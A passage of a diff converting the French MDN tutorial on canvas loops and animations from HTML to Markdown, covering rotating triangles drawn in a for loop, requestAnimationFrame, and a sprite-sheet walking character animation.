ressembler à ça: -<p>Jusqu'ici, nous avons couvert quelques utilisations très basiques du canvas 2D, mais vous ne ressentirez la pleine puissance du canvas que si vous le mettez à jour ou l'animez d'une manière ou d'une autre. Après tout, le canvas fournit des images scriptables! Si vous n'avez pas l'intention de changer quelque chose, alors autant utiiliser des images statiques et vous épargner du travail.</p> +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html", '100%', 260)}} -<h3 id="Créer_une_boucle">Créer une boucle</h3> +> **Note :** Le code final est disponible sur GitHub, [5_canvas_images.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html). -<p>Jouer avec des boucles est plutôt amusant — vous pouvez exécuter des commandes de canvas à l'intérieur d'une boucle <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for">for</a></code> (ou tout autre type de boucle) comme n'importe quel autre code JavaScript.</p> +## Boucles et animations -<p>Construisons un exemple simple.</p> +Jusqu'ici, nous avons couvert quelques utilisations très basiques du canvas 2D, mais vous ne ressentirez la pleine puissance du canvas que si vous le mettez à jour ou l'animez d'une manière ou d'une autre. Après tout, le canvas fournit des images scriptables! Si vous n'avez pas l'intention de changer quelque chose, alors autant utiiliser des images statiques et vous épargner du travail. -<ol> - <li> - <p>Créez une nouvelle copie du template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>) et ouvrez-le dans votre éditeur de texte.</p> - </li> - <li> - <p>Ajoutez la ligne qui suit au bas de votre JavaScript. Elle contient une nouvelle méthode, {{domxref("CanvasRenderingContext2D.translate", "translate()")}}, qui déplace le point d'origine du canvas:</p> +### Créer une boucle - <pre class="brush: js">ctx.translate(width/2, height/2);</pre> +Jouer avec des boucles est plutôt amusant — vous pouvez exécuter des commandes de canvas à l'intérieur d'une boucle [`for`](/fr/docs/Web/JavaScript/Reference/Instructions/for) (ou tout autre type de boucle) comme n'importe quel autre code JavaScript. - <p>Cela a pour effet de déplacer l'origine des coordonnées (0, 0) au centre du canvas, plutôt que d'être dans le coin supérieur gauche. C'est très utile dans de nombreuses situations, comme celle-ci, où nous voulons que notre dessin soit dessiné par rapport au centre du canvas.</p> - </li> - <li> - <p>Maintenant ajoutez le code suivant au bas du Javacript:</p> +Construisons un exemple simple. - <pre class="brush: js">function degToRad(degrees) { - return degrees * Math.PI / 180; -}; +1. Créez une nouvelle copie du template ([1_canvas_template.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html)) et ouvrez-le dans votre éditeur de texte. +2. Ajoutez la ligne qui suit au bas de votre JavaScript. Elle contient une nouvelle méthode, {{domxref("CanvasRenderingContext2D.translate", "translate()")}}, qui déplace le point d'origine du canvas: -function rand(min, max) { - return Math.floor(Math.random() * (max-min+1)) + (min); -} + ```js + ctx.translate(width/2, height/2); + ``` -var length = 250; -var moveOffset = 20; + Cela a pour effet de déplacer l'origine des coordonnées (0, 0) au centre du canvas, plutôt que d'être dans le coin supérieur gauche. C'est très utile dans de nombreuses situations, comme celle-ci, où nous voulons que notre dessin soit dessiné par rapport au centre du canvas. -for(var i = 0; i < length; i++) { +3. Maintenant ajoutez le code suivant au bas du Javacript: -}</pre> + ```js + function degToRad(degrees) { + return degrees * Math.PI / 180; + }; - <p>Ici, nous implémentons</p> + function rand(min, max) { + return Math.floor(Math.random() * (max-min+1)) + (min); + } - <ul> - <li>la même fonction <code>degToRad()</code> que nous avons vu dans l'exemple du triangle auparavant,</li> - <li>une fonction <code>rand()</code>, qui retoune un nombre aléatoire entre une limite inférieure et une limite supérieure,</li> - <li>les variables <code>length</code> et <code>moveOffset</code> (que nous verrons plus loin),</li> - <li>et une boucle <code>for</code> vide.</li> - </ul> - </li> - <li> - <p>L'idée est que nous allons dessiner quelque chose sur le canvas à l'intérieur de la boucle <code>for</code>, et itérer dessus pour créer quelque chose d'intéressant. Ajoutez le code suivant à l'intérieur de la boucle <code>for</code>:</p> + var length = 250; + var moveOffset = 20; - <pre class="brush: js">ctx.fillStyle = 'rgba(' + (255-length) + ', 0, ' + (255-length) + ', 0.9)'; -ctx.beginPath(); -ctx.moveTo(moveOffset, moveOffset); -ctx.lineTo(moveOffset+length, moveOffset); -var triHeight = length/2 * Math.tan(degToRad(60)); -ctx.lineTo(moveOffset+(length/2), moveOffset+triHeight); -ctx.lineTo(moveOffset, moveOffset); -ctx.fill(); + for(var i = 0; i < length; i++) { + + } + ``` + + Ici, nous implémentons + + - la même fonction `degToRad()` que nous avons vu dans l'exemple du triangle auparavant, + - une fonction `rand()`, qui retoune un nombre aléatoire entre une limite inférieure et une limite supérieure, + - les variables `length` et `moveOffset` (que nous verrons plus loin), + - et une boucle `for` vide. -length--; -moveOffset += 0.7; -ctx.rotate(degToRad(5));</pre> +4. L'idée est que nous allons dessiner quelque chose sur le canvas à l'intérieur de la boucle `for`, et itérer dessus pour créer quelque chose d'intéressant. Ajoutez le code suivant à l'intérieur de la boucle `for`: - <p>Ainsi à chaque itération, on:</p> + ```js + ctx.fillStyle = 'rgba(' + (255-length) + ', 0, ' + (255-length) + ', 0.9)'; + ctx.beginPath(); + ctx.moveTo(moveOffset, moveOffset); + ctx.lineTo(moveOffset+length, moveOffset); + var triHeight = length/2 * Math.tan(degToRad(60)); + ctx.lineTo(moveOffset+(length/2), moveOffset+triHeight); + ctx.lineTo(moveOffset, moveOffset); + ctx.fill(); - <ol> - <li>Définit <code>fillStyle</code> comme étant une nuance de violet légèrement transparente, et qui change à chaque fois en fonction de la valeur de <code>length</code>. Comme vous le verrez plus tard, sa valeur diminue à chaque itération, ce qui a pour effet de rendre la couleur toujours plus claire.</li> - <li>Ouvre un path.</li> - <li>Déplace le stylo aux coordonnées de <code>(moveOffset, moveOffset)</code>; Cette variable définit jusqu'où nous voulons nous déplacer à chaque fois que nous dessinons.</li> - <li>Dessine une ligne aux coordonées de <code>(moveOffset+length, moveOffset)</code>. Cela dessine une ligne de longueur <code>length</code> parallèle à l'axe X.</li> - <li>Calcule la hauteur du triangle, comme vu auparavant.</li> - <li>Dessine une ligne vers le coin du bas du triangle.</li> - <li>Dessine une ligne vers le début du triangle.</li> - <li>Appelle <code>fill()</code> pour remplir le triangle.</li> - <li>Met à jour les variables qui indiquent comment dessiner le triangle, afin qu'elles soient prêtes pour la prochaine itération: - <ul> - <li>Diminue la valeur de <code>length</code> de 1, de sorte que les triangles deviennent de plus en plus petits;</li> - <li>Augmente un peu <code>moveOffset</code> pour que chaque triangle successif soit légèrement plus éloigné;</li> - <li>et utilise une nouvelle fonction, {{domxref("CanvasRenderingContext2D.rotate", "rotate()")}}, qui permet de faire pivoter entièrement le canvas! Nous le faisons pivoter de 5 degrés avant de dessiner le triangle suivant.</li> - </ul> - </li> - </ol> - </li> -</ol> + length--; + moveOffset += 0.7; + ctx.rotate(degToRad(5)); + ``` -<p>C'est tout! L'exemple final devrait ressemble à ça:</p> + Ainsi à chaque itération, on: -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html", '100%', 550)}}</p> + 1. Définit `fillStyle` comme étant une nuance de violet légèrement transparente, et qui change à chaque fois en fonction de la valeur de `length`. Comme vous le verrez plus tard, sa valeur diminue à chaque itération, ce qui a pour effet de rendre la couleur toujours plus claire. + 2. Ouvre un path. + 3. Déplace le stylo aux coordonnées de `(moveOffset, moveOffset)`; Cette variable définit jusqu'où nous voulons nous déplacer à chaque fois que nous dessinons. + 4. Dessine une ligne aux coordonées de `(moveOffset+length, moveOffset)`. Cela dessine une ligne de longueur `length` parallèle à l'axe X. + 5. Calcule la hauteur du triangle, comme vu auparavant. + 6. Dessine une ligne vers le coin du bas du triangle. + 7. Dessine une ligne vers le début du triangle. + 8. Appelle `fill()` pour remplir le triangle. + 9. Met à jour les variables qui indiquent comment dessiner le triangle, afin qu'elles soient prêtes pour la prochaine itération: -<p>À ce stade, nous vous encourageons à jouer avec l'exemple et de vous l'approprier! Par exemple:</p> + - Diminue la valeur de `length` de 1, de sorte que les triangles deviennent de plus en plus petits; + - Augmente un peu `moveOffset` pour que chaque triangle successif soit légèrement plus éloigné; + - et utilise une nouvelle fonction, {{domxref("CanvasRenderingContext2D.rotate", "rotate()")}}, qui permet de faire pivoter entièrement le canvas! Nous le faisons pivoter de 5 degrés avant de dessiner le triangle suivant. -<ul> - <li>Dessinez des rectangles ou des arcs au lieu des triangles, ou même des images externes.</li> - <li>Jouez avec les valeurs de <code>length</code> et <code>moveOffset</code>.</li> - <li>Utilisez des nombres aléatoires — grâce à la fonction <code>rand()</code> que nous avons inclue mais que nous n'avons pas utilisée.</li> -</ul> +C'est tout! L'exemple final devrait ressemble à ça: -<div class="note"> -<p><strong>Note :</strong> Le code terminé est disponible sur GitHub, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html">6_canvas_for_loop.html</a>.</p> -</div> +{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html", '100%', 550)}} -<h3 id="Animations">Animations</h3> +À ce stade, nous vous encourageons à jouer avec l'exemple et de vous l'approprier! Par exemple: -<p>L'exemple de boucle que nous avons construit ci-dessus était amusant, mais en vrai vous avez besoin d'une boucle qui continue constamment d'itérer pour toute application sérieuse de canvas (telles que les jeux et les visualisations en temps réel). Si vous pensez à votre canvas comme étant en quelque sorte un film, vous allez vouloir que l'affichage se mette à jour à chaque image pour afficher la mise à jour avec un taux de rafraichissement idéal de 60 images par seconde, afin que le mouvement soit lisse et agréable pour l'oeil humain.</p> +- Dessinez des rectangles ou des arcs au lieu des triangles, ou même des images externes. +- Jouez avec les valeurs de `length` et `moveOffset`. +- Utilisez des nombres aléatoires — grâce à la fonction `rand()` que nous avons inclue mais que nous n'avons pas utilisée. -<p>Il y a quelques fonctions JavaScript qui vous permettrons d'exécuter des fonctions de manière répétée, plusieurs fois par seconde, la meilleure étant ici {{domxref("window.requestAnimationFrame()")}}. Elle prend un paramètre — la fonction que vous voulez exécuter pour chaque image. Dès que le navigateur est prêt à mettre à jour l'écran, votre fonction sera appelée. Si cette fonction dessine la nouvelle mise à jour, puis appelle de nouveau <code>requestAnimationFrame()</code> juste avant la fin de la fonction, la boucle d'animation continuera de s'exécuter de manière fluide. La boucle s'arrête lorsque vous vous arrêtez d'appeler <code>requestAnimationFrame()</code> ou si vous appelez {{domxref("window.cancelAnimationFrame()")}} après avoir appelé <code>requestAnimationFrame()</code> mais avant que votre fonction n'ait été exécutée.</p> +> **Note :** Le code terminé est disponible sur GitHub, [6_canvas_for_loop.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html). -<div class="note"> -<p><strong>Note:</strong> C'est une bonne pratique d'appeler <code>cancelAnimationFrame()</code> à partir de votre code principal lorsque vous avez terminé d'utiliser l'animation, pour vous assurer qu'aucune mise à jour n'attend d'être exécutée.</p> -</div> +### Animations -<p>Le navigateur s'occupe des détails complexes tels qu'exécuter l'animation à une vitesse constante, et ne pas gaspiller de ressources en animant des choses qui ne sont pas visibles.</p> +L'exemple de boucle que nous avons construit ci-dessus était amusant, mais en vrai vous avez besoin d'une boucle qui continue constamment d'itérer pour toute application sérieuse de canvas (telles que les jeux et les visualisations en temps réel). Si vous pensez à votre canvas comme étant en quelque sorte un film, vous allez vouloir que l'affichage se mette à jour à chaque image pour afficher la mise à jour avec un taux de rafraichissement idéal de 60 images par seconde, afin que le mouvement soit lisse et agréable pour l'oeil humain. -<p>Pour voir comment cela fonctionne, regardons rapidement notre exemple des balles qui rebondissent (<a href="https://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">le voir en direct</a>, et voir <a href="https://github.com/mdn/learning-area/tree/master/javascript/oojs/bouncing-balls">le code source</a>). Le code de la boucle qui garde le tout en mouvement ressemble à ceci:</p> +Il y a quelques fonctions JavaScript qui vous permettrons d'exécuter des fonctions de manière répétée, plusieurs fois par seconde, la meilleure étant ici {{domxref("window.requestAnimationFrame()")}}. Elle prend un paramètre — la fonction que vous voulez exécuter pour chaque image. Dès que le navigateur est prêt à mettre à jour l'écran, votre fonction sera appelée. Si cette fonction dessine la nouvelle mise à jour, puis appelle de nouveau `requestAnimationFrame()` juste avant la fin de la fonction, la boucle d'animation continuera de s'exécuter de manière fluide. La boucle s'arrête lorsque vous vous arrêtez d'appeler `requestAnimationFrame()` ou si vous appelez {{domxref("window.cancelAnimationFrame()")}} après avoir appelé `requestAnimationFrame()` mais avant que votre fonction n'ait été exécutée. -<pre class="brush: js">function loop() { +> **Note :** C'est une bonne pratique d'appeler `cancelAnimationFrame()` à partir de votre code principal lorsque vous avez terminé d'utiliser l'animation, pour vous assurer qu'aucune mise à jour n'attend d'être exécutée. + +Le navigateur s'occupe des détails complexes tels qu'exécuter l'animation à une vitesse constante, et ne pas gaspiller de ressources en animant des choses qui ne sont pas visibles. + +Pour voir comment cela fonctionne, regardons rapidement notre exemple des balles qui rebondissent ([le voir en direct](https://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html), et voir [le code source](https://github.com/mdn/learning-area/tree/master/javascript/oojs/bouncing-balls)). Le code de la boucle qui garde le tout en mouvement ressemble à ceci: + +```js +function loop() { ctx.fillStyle = 'rgba(0, 0, 0, 0.25)'; ctx.fillRect(0, 0, width, height); - while(balls.length < 25) { + while(balls.length < 25) { var ball = new Ball(); balls.push(ball); } - for(i = 0; i < balls.length; i++) { + for(i = 0; i < balls.length; i++) { balls[i].draw(); balls[i].update(); balls[i].collisionDetect(); @@ -577,143 +541,141 @@ ctx.rotate(degToRad(5));</pre> requestAnimationFrame(loop); } -loop();</pre> +loop(); +``` -<p>Nous lançons la fonction <code>loop()</code> une fois pour commencer le cycle et dessiner la première image de l'animation. La fonction <code>loop()</code> s'occupe ensuite d'appeler <code>requestAnimationFrame(loop)</code> pour afficher la prochaine image de l'animation, et ce continuellement.</p> +Nous lançons la fonction `loop()` une fois pour commencer le cycle et dessiner la première image de l'animation. La fonction `loop()` s'occupe ensuite d'appeler `requestAnimationFrame(loop)` pour afficher la prochaine image de l'animation, et ce continuellement. -<p>Notez que sur chaque image, nous effaçons complètement le canvas et redessinons tout. Nous créons de nouvelles balles pour chaque image — au maximum 25 — puis, pour chaque balle, la dessinons, mettons à jour sa position, et vérifions si elle est en collision avec une autre balle. Une fois que vous avez dessiné quelque chose sur un canvas, il n'y a aucun moyen pour manipuler cet élément graphique individuellement comme vous pouvez le faire avec les élément DOM. Vous ne pouvez pas déplacer les balles sur le canvas parce qu'une fois dessinée, une balle n'est plus une balle mais juste des pixels sur un canvas. Au lieu de ça, vous devez effacer et redessiner, soit en effaçant et redessinant absolutement tout le canvas, soit en ayant du code qui sait exactement quelles parties doivent être effacées, et qui efface et redessine uniquement la zone minimale nécessaire.</p> +Notez que sur chaque image, nous effaçons complètement le canvas et redessinons tout. Nous créons de nouvelles balles pour chaque image — au maximum 25 — puis, pour chaque balle, la dessinons, mettons à jour sa position, et vérifions si elle est en collision avec une autre balle. Une fois que vous avez dessiné quelque chose sur un canvas, il n'y a aucun moyen pour manipuler cet élément graphique individuellement comme vous pouvez le faire avec les élément DOM. Vous ne pouvez pas déplacer les balles sur le canvas parce qu'une fois dessinée, une balle n'est plus une balle mais juste des pixels sur un canvas. Au lieu de ça, vous devez effacer et redessiner, soit en effaçant et redessinant absolutement tout le canvas, soit en ayant du code qui sait exactement quelles parties doivent être effacées, et qui efface et redessine uniquement la zone minimale nécessaire. -<p>Optimiser l'animation graphique est une spécialité entière de programmation, avec beaucoup de techniques ingénieuses disponibles. Mais celles-ci sont au-delà de ce dont nous avons besoin pour notre exemple!</p> +Optimiser l'animation graphique est une spécialité entière de programmation, avec beaucoup de techniques ingénieuses disponibles. Mais celles-ci sont au-delà de ce dont nous avons besoin pour notre exemple! -<p>En général, le processus pour animer un canvas implique les étapes suivantes:</p> +En général, le processus pour animer un canvas implique les étapes suivantes: -<ol> - <li>Effacer le contenu du cavas (par exemple avec {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} ou {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}).</li> - <li>Sauvegarder l'état (si nécessaire) en utilisant {{domxref("CanvasRenderingContext2D.save", "save()")}} — c'est nécessaire lorsque vous voulez enregistrer les paramètres que vous mis à jour sur le canvas avant de continuer, ce qui est utile pour des applications plus avancées.</li> - <li>Dessiner les éléments graphiques que vous animez.</li> - <li>Restaurer les paramètres sauvegardés à l'étape 2 en utilisant {{domxref("CanvasRenderingContext2D.restore", "restore()")}}</li> - <li>Appeler <code>requestAnimationFrame()</code> pour planifier le dessin de l'image suivante de l'animation.</li> -</ol> +1. Effacer le contenu du cavas (par exemple avec {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} ou {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}). +2. Sauvegarder l'état (si nécessaire) en utilisant {{domxref("CanvasRenderingContext2D.save", "save()")}} — c'est nécessaire lorsque vous voulez enregistrer les paramètres que vous mis à jour sur le canvas avant de continuer, ce qui est utile pour des applications plus avancées. +3. Dessiner les éléments graphiques que vous animez. +4. Restaurer les paramètres sauvegardés à l'étape 2 en utilisant {{domxref("CanvasRenderingContext2D.restore", "restore()")}} +5. Appeler `requestAnimationFrame()` pour planifier le dessin de l'image suivante de l'animation. -<div class="note"> -<p><strong>Note :</strong> Nous ne couvrirons pas <code>save()</code> et <code>restore()</code> ici, mais elles sont bien expliquées dans notre tutoriel <a href="/fr/docs/Tutoriel_canvas/Transformations">Transformations</a> (et ceux qui le suivent).</p> -</div> +> **Note :** Nous ne couvrirons pas `save()` et `restore()` ici, mais elles sont bien expliquées dans notre tutoriel [Transformations](/fr/docs/Tutoriel_canvas/Transformations) (et ceux qui le suivent). -<h3 id="Une_animation_simple_de_personnage">Une animation simple de personnage</h3> +### Une animation simple de personnage -<p>Créons maintenant notre propre animation simple — nous allons faire parcourir l'écran à un personnage d'un certain jeu vidéo rétro plutôt génial.</p> +Créons maintenant notre propre animation simple — nous allons faire parcourir l'écran à un personnage d'un certain jeu vidéo rétro plutôt génial. -<ol> - <li> - <p>Faites une nouvelle copie du template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>) et ouvrez-le dans votre éditeur de texte. Sauvegardez une copie de <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/walk-right.png">walk-right.png</a> dans le même répertoire.</p> - </li> - <li> - <p>Au bas du JavaScript, ajoutez la ligne suivante pour placer une fois de plus l'origine des coordonnées au milieu du canvas:</p> +1. Faites une nouvelle copie du template ([1_canvas_template.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html)) et ouvrez-le dans votre éditeur de texte. Sauvegardez une copie de [walk-right.png](https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/walk-right.png) dans le même répertoire. +2. Au bas du JavaScript, ajoutez la ligne suivante pour placer une fois de plus l'origine des coordonnées au milieu du canvas: - <pre class="brush: js">ctx.translate(width/2, height/2);</pre> - </li> - <li> - <p>Nous allons maintenant créer un objet {{domxref("HTMLImageElement")}}, définir son attribut {{htmlattrxref("src", "img")}} à l'image que nous voulons charger, et ajouter le gestionnaire d'événement <code>onload</code> pour appeler la fonction <code>draw()</code> quand l'image sera chargée:</p> + ```js + ctx.translate(width/2, height/2); + ``` - <pre class="brush: js">var image = new Image(); -image.src = 'walk-right.png'; -image.onload = draw;</pre> - </li> - <li> - <p>Ajoutons quelques variables pour garder une trace de la position du sprite à dessiner à l'écran, et le numéro du sprite que nous voulons afficher.</p> +3. Nous allons maintenant créer un objet {{domxref("HTMLImageElement")}}, définir son attribut {{htmlattrxref("src", "img")}} à l'image que nous voulons charger, et ajouter le gestionnaire d'événement `onload` pour appeler la fonction `draw()` quand l'image sera chargée: - <pre class="brush: js">var sprite = 0; -var posX = 0;</pre> + ```js + var image = new Image(); + image.src = 'walk-right.png'; + image.onload = draw; + ``` - <p>L'image de sprites (que nous avons respectueusement emprunté à Mike Thomas dans son article <a href="http://atomicrobotdesign.com/blog/htmlcss/create-a-sprite-sheet-walk-cycle-using-using-css-animation/" rel="bookmark" title="Permanent Link to Create a sprite sheet walk cycle using using CSS animation">Create a sprite sheet walk cycle using using CSS animation</a> — créer un cycle de marche avec une feuille de sprites en utilisant les animations CSS) ressemble à ça:</p> +4. Ajoutons quelques variables pour garder une trace de la position du sprite à dessiner à l'écran, et le numéro du sprite que nous voulons afficher. - <p><img alt="" src="walk-right.png"></p> + ```js + var sprite = 0; + var posX = 0; + ``` - <p>Elle contient six sprites qui constituent une séquence de marche — chacun a 102 pixels de large et 148 pixels de hauteur. Pour afficher chaque sprite proprement, nous allons devoir utiliser <code>drawImage()</code> pour découper un seul sprite de l'image et n'afficher que cette partie, comme nous l'avons fait précédemment avec le logo Firefox. La coordonnée X de la découpe devra être un multiple de 102 et la coordonnée Y sera toujours 0. La taille de la découpe sera toujours de 102 pixels par 148.</p> - </li> - <li> - <p>Insérons maintenant une fonction <code>draw()</code> vide au bas du code, prête à être remplie de code:</p> + L'image de sprites (que nous avons respectueusement emprunté à Mike Thomas dans son article [Create a sprite sheet walk cycle using using CSS animation](http://atomicrobotdesign.com/blog/htmlcss/create-a-sprite-sheet-walk-cycle-using-using-css-animation/ "Permanent Link to Create a sprite sheet walk cycle using using CSS animation") — créer un cycle de marche avec une feuille de sprites en utilisant les animations CSS) ressemble à ça: - <pre class="brush: js">function draw() { +  -};</pre> - </li> - <li> - <p>Le reste du code dans cette section va dans <code>draw()</code>. Tout d'abord, ajoutez la ligne suivante, qui efface le canvas pour préparer le dessin de chaque image. Notez que nous devons spécifier le coin supérieur gauche du rectangle comme étant <code>-(width/2), -(height/2)</code> puisque nous avons définit l'origine du canvas à <code>width/2, height/2</code> plus tôt.</p> + Elle contient six sprites qui constituent une séquence de marche — chacun a 102 pixels de large et 148 pixels de hauteur. Pour afficher chaque sprite proprement, nous allons devoir utiliser `drawImage()` pour découper un seul sprite de l'image et n'afficher que cette partie, comme nous l'avons fait précédemment avec le logo Firefox. La coordonnée X de la découpe devra être un multiple de 102 et la coordonnée Y sera toujours 0. La taille de la découpe sera toujours de 102 pixels par 148. - <pre class="brush: js">ctx.fillRect(-(width/2), -(height/2), width, height);</pre> - </li> - <li> - <p>Ensuite, nous allons dessinons notre image en utilisant <code>drawImage()</code> — la version à 9 paramètres. Ajoutez ce qui suit:</p> +5. Insérons maintenant une fonction `draw()` vide au bas du code, prête à être remplie de code: - <pre class="brush: js">ctx.drawImage(image, (sprite*102), 0, 102, 148, 0+posX, -74, 102, 148);</pre> + ```js + function draw() { - <p>Comme vous pouvez le voir:</p> + }; + ``` - <ul> - <li>Nous spécifions <code>image</code> comme étant l'image à inclure.</li> - <li>Les paramètres 2 et 3 spécifient le coin supérieur gauche de la portion de l'image à découper: la valeur X vaut <code>sprite</code> multiplié par 102 (où <code>sprite</code> est le numéro du sprite, entre 0 et 5) et la valeur Y vaut toujours 0.</li> - <li>Les paramètres 4 et 5 spécifient la taille de la découpe — 102 pixels par 148.</li> - <li>Les paramètres 6 et 7 spécifient le coin supérieur gauche de la découpe sur le canvas — la position de X est <code>0+posX</code>, ce qui signifie que nous pouvons modifier la position du dessin en modifiant la valeur de <code>posX</code>.</li> - <li>Les paramètres 8 et 9 spécifient la taille de l'image sur le canvas. Nous voulons garder sa taille d'origine, on définit donc 102 pour largeur et 148 pour hauteur.</li> - </ul> - </li> - <li> - <p>Maintenant, nous allons changer la valeur de <code>sprite</code> après chaque dessin — après certains d'entre eux du moins. Ajoutez le bloc de code suivant au bas de la fonction <code>draw()</code>:</p> +6. Le reste du code dans cette section va dans `draw()`. Tout d'abord, ajoutez la ligne suivante, qui efface le canvas pour préparer le dessin de chaque image. Notez que nous devons spécifier le coin supérieur gauche du rectangle comme étant `-(width/2), -(height/2)` puisque nous avons définit l'origine du canvas à `width/2, height/2` plus tôt. - <pre class="brush: js"> if (posX % 13 === 0) { - if (sprite === 5) { - sprite = 0; - } else { - sprite++; - } - }</pre> + ```js + ctx.fillRect(-(width/2), -(height/2), width, height); + ``` - <p>Nous enveloppons le bloc entier de <code>if (posX % 13 === 0) { ... }</code>. On utilise l'opérateur modulo (<code>%</code>) (aussi connu sous le nom d'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Reste_()">opérateur reste</a>) pour vérifier si la valeur de <code>posX</code> peut être exactement divisée par 13, sans reste. Si c'est le cas, on passe au sprite suivant en incrémentant <code>sprite</code> (en retournant à 0 après le sprite #5). Cela implique que nous ne mettons à jour le sprite que toutes les 13èmes images, ou à peu près 5 images par seconde (<code>requestAnimationFrame()</code> appelle jusqu'à 60 images par secondes si possible). Nous ralentissons délibéremment le cadence des images parce que nous n'avons que six sprites avec lesquels travailler, et si on en affiche un à chaque 60ième de seconde, notre personnage va bouger beaucoup trop vite!</p> +7. Ensuite, nous allons dessinons notre image en utilisant `drawImage()` — la version à 9 paramètres. Ajoutez ce qui suit: - <p>À l'intérieur du bloc, on utilise une instruction <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if ... else</a></code> pour vérifier si la valeur de <code>sprite</code> vaut 5 (le dernier sprite, puisque les numéro de sprite vont de 0 à 5). Si nous sommes en train d'afficher le dernier sprite, alors on réinitialilse <code>sprite</code> à 0; sinon on l'incrémente de 1.</p> - </li> - <li> - <p>Ensuite, nous devons déterminer comment modifier la valeur de <code>posX</code> sur chaque image — ajoutez le bloc de code à la suite:</p> + ```js + ctx.drawImage(image, (sprite*102), 0, 102, 148, 0+posX, -74, 102, 148); + ``` - <pre class="brush: js"> if(posX > width/2) { - newStartPos = -((width/2) + 102); - posX = Math.ceil(newStartPos / 13) * 13; - console.log(posX); - } else { - posX += 2; - }</pre> + Comme vous pouvez le voir: - <p>Nous utilisons une autre instruction <code>if ... else</code> pour voir si la valeur de <code>posX</code> est plus grande que <code>width/2</code>, ce qui signifie que notre personnage est sortit du bord droit de l'écran. Si c'est le cas, on calcule la position qui met le personnage à gauche du bord gauche de l'écran, et on définit <code>posX</code> au multiple de 13 le plus proche de ce nombre. Il faut obligatoirement un multiple de 13 pour que le bloc de code précédent puisse toujours fonctionner!</p> + - Nous spécifions `image` comme étant l'image à inclure. + - Les paramètres 2 et 3 spécifient le coin supérieur gauche de la portion de l'image à découper: la valeur X vaut `sprite` multiplié par 102 (où `sprite` est le numéro du sprite, entre 0 et 5) et la valeur Y vaut toujours 0. + - Les paramètres 4 et 5 spécifient la taille de la découpe — 102 pixels par 148. + - Les paramètres 6 et 7 spécifient le coin supérieur gauche de la découpe sur le canvas — la position de X est `0+posX`, ce qui signifie que nous pouvons modifier la position du dessin en modifiant la valeur de `posX`. + - Les paramètres 8 et 9 spécifient la taille de l'image sur le canvas. Nous voulons garder sa taille d'origine, on définit donc 102 pour largeur et 148 pour hauteur. - <p>Si notre personnage n'a pas atteint le bord de l'écran, on incrémente <code>posX</code> de 2. Cela le fera bouger un peu vers la droite la prochaine fois qu'on le dessinera.</p> - </li> - <li> - <p>Finalement, nous devons boucler sur l'animation en appelannt {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} en bas de la fonction <code>draw()</code>:</p> +8. Maintenant, nous allons changer la valeur de `sprite` après chaque dessin — après certains d'entre eux du moins. Ajoutez le bloc de code suivant au bas de la fonction `draw()`: - <pre class="brush: js">window.requestAnimationFrame(draw);</pre> - </li> -</ol> + ```js + if (posX % 13 === 0) { + if (sprite === 5) { + sprite = 0; + } else { + sprite++; + } + } + ``` -<p>Et voilà! L'exemple final devrait ressembler à ça:</p> + Nous enveloppons le bloc entier de `if (posX % 13 === 0) { ... }`. On utilise l'opérateur modulo (`%`) (aussi connu sous le nom d'[opérateur reste](</fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Reste_()>)) pour vérifier si la valeur de `posX` peut être exactement divisée par 13, sans reste. Si c'est le cas, on passe au sprite suivant en incrémentant `sprite` (en retournant à 0 après le sprite #5). Cela implique que nous ne mettons à jour le sprite que toutes les 13èmes images, ou à peu près 5 images par seconde (`requestAnimationFrame()` appelle jusqu'à 60 images par secondes si possible). Nous ralentissons délibéremment le cadence des images parce que nous n'avons que six sprites avec lesquels travailler, et si on en affiche un à chaque 60ième de seconde, notre personnage va bouger beaucoup trop vite! -<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}</p> + À l'intérieur du bloc, on utilise une instruction [`if ... else`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) pour vérifier si la valeur de `sprite` vaut 5 (le dernier sprite, puisque les numéro de sprite vont de 0 à 5). Si nous sommes en train d'afficher le dernier sprite, alors on réinitialilse `sprite` à 0; sinon on l'incrémente de 1. -<div class="note"> -<p><strong>Note :</strong> Le code final est disponible sur GitHub, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html">7_canvas_walking_animation.html</a>.</p> -</div> +9. Ensuite, nous devons déterminer comment modifier la valeur de `posX` sur chaque image — ajoutez le bloc de code à la suite: -<h3 id="Une_application_simple_de_dessin">Une application simple de dessin</h3> + ```js + if(posX > width/2) { + newStartPos = -((width/2) + 102); + posX = Math.ceil(newStartPos / 13) * 13; + console.log(posX); + } else { + posX += 2; + } + ``` -<p>Comme exemple final d'animation, nous aimerions vous montrer une application très simple de dessin, pour illustrer 